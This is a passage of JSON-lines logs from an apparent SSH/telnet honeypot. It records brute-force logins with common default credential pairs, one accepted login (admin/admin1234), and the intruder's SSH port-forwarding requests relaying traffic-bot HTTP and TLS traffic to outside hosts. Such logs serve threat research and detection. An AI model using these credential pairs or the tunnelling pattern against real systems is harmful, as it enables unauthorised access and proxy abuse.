192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:35.545414Z","src_ip":"91.92.40.36","session":"34ec0bd1bdd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lhj","password":"lhj","message":"login attempt [lhj/lhj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:38.109646Z","src_ip":"91.92.40.36","session":"bd5779ebfec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11214,"dst_ip":"159.203.135.109","dst_port":22,"session":"e51c46e6ee5b","protocol":"ssh","message":"New connection: 91.92.40.36:11214 (159.203.135.109:22) [session: e51c46e6ee5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:39.234737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:39.846122Z","src_ip":"91.92.40.36","session":"e51c46e6ee5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:39.850694Z","src_ip":"91.92.40.36","session":"e51c46e6ee5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:40.767968Z","src_ip":"91.92.40.36","session":"bd5779ebfec7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"initial","password":"initial","message":"login attempt [initial/initial] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:43.380063Z","src_ip":"91.92.40.36","session":"e51c46e6ee5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":57789,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a3ddc2918e8","protocol":"ssh","message":"New connection: 23.175.50.47:57789 (10.17.0.5:22) [session: 3a3ddc2918e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:43.614573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:43.618866Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:44.120893Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:44.623778Z","src_ip":"91.92.40.36","session":"e51c46e6ee5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42422,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ad167e0eae","protocol":"telnet","message":"New connection: 128.199.8.54:42422 (159.203.135.109:23) [session: 52ad167e0eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:44.989349Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:45.559339Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456789","message":"login attempt [postgres/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:45.606715Z","src_ip":"91.92.40.36","session":"34ec0bd1bdd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27562,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee349b60e2fb","protocol":"ssh","message":"New connection: 91.92.40.36:27562 (159.203.135.109:22) [session: ee349b60e2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:49.867429Z"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:49.898722Z","src_ip":"91.92.40.36","session":"34ec0bd1bdd8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:50.145779Z","src_ip":"91.92.40.36","session":"ee349b60e2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:51.233279Z","src_ip":"91.92.40.36","session":"ee349b60e2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27588,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f8dbce9833f","protocol":"ssh","message":"New connection: 91.92.40.36:27588 (159.203.135.109:22) [session: 6f8dbce9833f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:54.990498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:55.364994Z","src_ip":"91.92.40.36","session":"6f8dbce9833f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:55.384515Z","src_ip":"91.92.40.36","session":"6f8dbce9833f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"4321","message":"login attempt [debian/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:57.743725Z","src_ip":"91.92.40.36","session":"6f8dbce9833f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"wasd","message":"login attempt [hadoop/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:58.137079Z","src_ip":"91.92.40.36","session":"ee349b60e2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:58.923046Z","src_ip":"91.92.40.36","session":"6f8dbce9833f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:00.285356Z","src_ip":"91.92.40.36","session":"ee349b60e2fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:01.395044Z","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:01.473476Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; C6L 2020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=c0hJKmtWZnBkUms3NnZoaw%3D%3DAheNNz1FH8d%2Bs8NswvazMQ6DG5NrsreiUJay9jqxAuJndDuSj4yNN11b925YyETeGg%2BRBms85z%2Fub2vXXQh1uqz3%2FByjDBpYlbvUPcQqRTTF8jWYED6rYrD%2BhSROsJriuByWrI0zVkIp%2FpxNZCYxAkFC1qcvFzCDetVSgc07dOVVhGEQRLCpHo9Bg%2BuuNBbD82hH1oQbCu9uwJKeAfBR5Tc9Jccf%2BWYmpS9nh2vhNB2zaAv4yRYn1cJZgfoPFJgani8Cp%2BtisTfG%2FUMjSj5%2BlgSuJl7SJGtRQPYZS%2BqKcV75Sp%2FAiulCLcuP8p0AOv7LP4zDV1rwxYZdd3DJUQ0XiCQ6QkGbxyCbJUjAN6OJ4mkq5UWScQkhnnlhBAFvzTo3cal6BsK3T8NDWtuiVCL0puBrBVCyLa8XnN9vQwMHdUnotUImKSrPrnErGBKb3yufO1fNDncTnmbLg4aeJy310z%2FnB99iI3zEC5mvqKXnjs4xjJmMnqdwaUfZaAr%2BVkL68TuF5JhfNGhHADp%2B9ZrBsHBC7kz2vFjRr%2FczprwJbpWl0AGptFhb2oyrU6GzYaP1aOMrPxMtQtsK%2FfdasiMgn25UVQBtPiiyZMW4GJSzKg%2FDs3WGGByfuHbKhwt4HE9kCsQuJ1%2B%2BzVRup21GQ4lRDsV4K8h55Us4vLVdHpNDEg2fRTHZA9ikMyTDdAyY40EAVVOuTeDfjxG5b5fgqrSnXq34vqmpYNL8tIZ%2FCgdRGwce08chxe7VOdT%2FBzE4wkEfEPTOqVJyqLidaOggIC1qTyWZKvN9XRrPzW4%2BaWxDIblD3ZmnyHVqLneRxPEB3gImnZBlmdZAUuyupR3irGPyMG283vvrd1LQjhhxR2oXno2az%2BiHVXc9%2FbvxDOe5r5jZ5X5U6QD147IztjpdigMkyr62Dj%2FpPcw3wKkcRSAteMXtUnzaqiSKPlrXEtfT9ibDNS3Ny1%2BobGHTJtKiCH1H3TmkFcEV5iWznuFanIkfFLGHfr1g7RmrLcJGt7ciBZ8AwJfIurawB2aQF9YOM35hdFL0heG7SS6JmhodMDX3sUk%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; C6L 2020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=c0hJKmtWZnBkUms3NnZoaw%3D%3DAheNNz1FH8d%2Bs8NswvazMQ6DG5NrsreiUJay9jqxAuJndDuSj4yNN11b925YyETeGg%2BRBms85z%2Fub2vXXQh1uqz3%2FByjDBpYlbvUPcQqRTTF8jWYED6rYrD%2BhSROsJriuByWrI0zVkIp%2FpxNZCYxAkFC1qcvFzCDetVSgc07dOVVhGEQRLCpHo9Bg%2BuuNBbD82hH1oQbCu9uwJKeAfBR5Tc9Jccf%2BWYmpS9nh2vhNB2zaAv4yRYn1cJZgfoPFJgani8Cp%2BtisTfG%2FUMjSj5%2BlgSuJl7SJGtRQPYZS%2BqKcV75Sp%2FAiulCLcuP8p0AOv7LP4zDV1rwxYZdd3DJUQ0XiCQ6QkGbxyCbJUjAN6OJ4mkq5UWScQkhnnlhBAFvzTo3cal6BsK3T8NDWtuiVCL0puBrBVCyLa8XnN9vQwMHdUnotUImKSrPrnErGBKb3yufO1fNDncTnmbLg4aeJy310z%2FnB99iI3zEC5mvqKXnjs4xjJmMnqdwaUfZaAr%2BVkL68TuF5JhfNGhHADp%2B9ZrBsHBC7kz2vFjRr%2FczprwJbpWl0AGptFhb2oyrU6GzYaP1aOMrPxMtQtsK%2FfdasiMgn25UVQBtPiiyZMW4GJSzKg%2FDs3WGGByfuHbKhwt4HE9kCsQuJ1%2B%2BzVRup21GQ4lRDsV4K8h55Us4vLVdHpNDEg2fRTHZA9ikMyTDdAyY40EAVVOuTeDfjxG5b5fgqrSnXq34vqmpYNL8tIZ%2FCgdRGwce08chxe7VOdT%2FBzE4wkEfEPTOqVJyqLidaOggIC1qTyWZKvN9XRrPzW4%2BaWxDIblD3ZmnyHVqLneRxPEB3gImnZBlmdZAUuyupR3irGPyMG283vvrd1LQjhhxR2oXno2az%2BiHVXc9%2FbvxDOe5r5jZ5X5U6QD147IztjpdigMkyr62Dj%2FpPcw3wKkcRSAteMXtUnzaqiSKPlrXEtfT9ibDNS3Ny1%2BobGHTJtKiCH1H3TmkFcEV5iWznuFanIkfFLGHfr1g7RmrLcJGt7ciBZ8AwJfIurawB2aQF9YOM35hdFL0heG7SS6JmhodMDX3sUk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:01.477036Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39338,"dst_ip":"159.203.135.109","dst_port":22,"session":"a26d3b8c383e","protocol":"ssh","message":"New connection: 91.92.40.36:39338 (159.203.135.109:22) [session: a26d3b8c383e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:02.534543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:02.776412Z","src_ip":"91.92.40.36","session":"a26d3b8c383e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:02.779394Z","src_ip":"91.92.40.36","session":"a26d3b8c383e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"qwerty","message":"login attempt [hadoop/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:04.977634Z","src_ip":"91.92.40.36","session":"a26d3b8c383e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:06.646970Z","src_ip":"91.92.40.36","session":"a26d3b8c383e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34390,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c1fab4c524d","protocol":"ssh","message":"New connection: 91.92.40.36:34390 (159.203.135.109:22) [session: 6c1fab4c524d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:12.074358Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:12.296777Z","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:12.370329Z","src_ip":"91.92.40.36","session":"6c1fab4c524d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:12.579623Z","src_ip":"23.175.50.47","session":"3a3ddc2918e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcd*\\xa8\\xab \\xd5\\x9b\\xa5Mv\\x96M\\x902\\xbe\\xfb\\xc5\\xdfh\\xf3\\xce\\x93E\\x9d\\x073\\x15R\\xa5\\xe3^f *\\x87Z^/\\x05K\\xe9\\xbf\\xfc\\x00\\x835ou\\xf3\\xf4\\x00u\\xfe\\xcf\\xbe$gR\\x83DD\\xf3z\\xf5\\x11\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 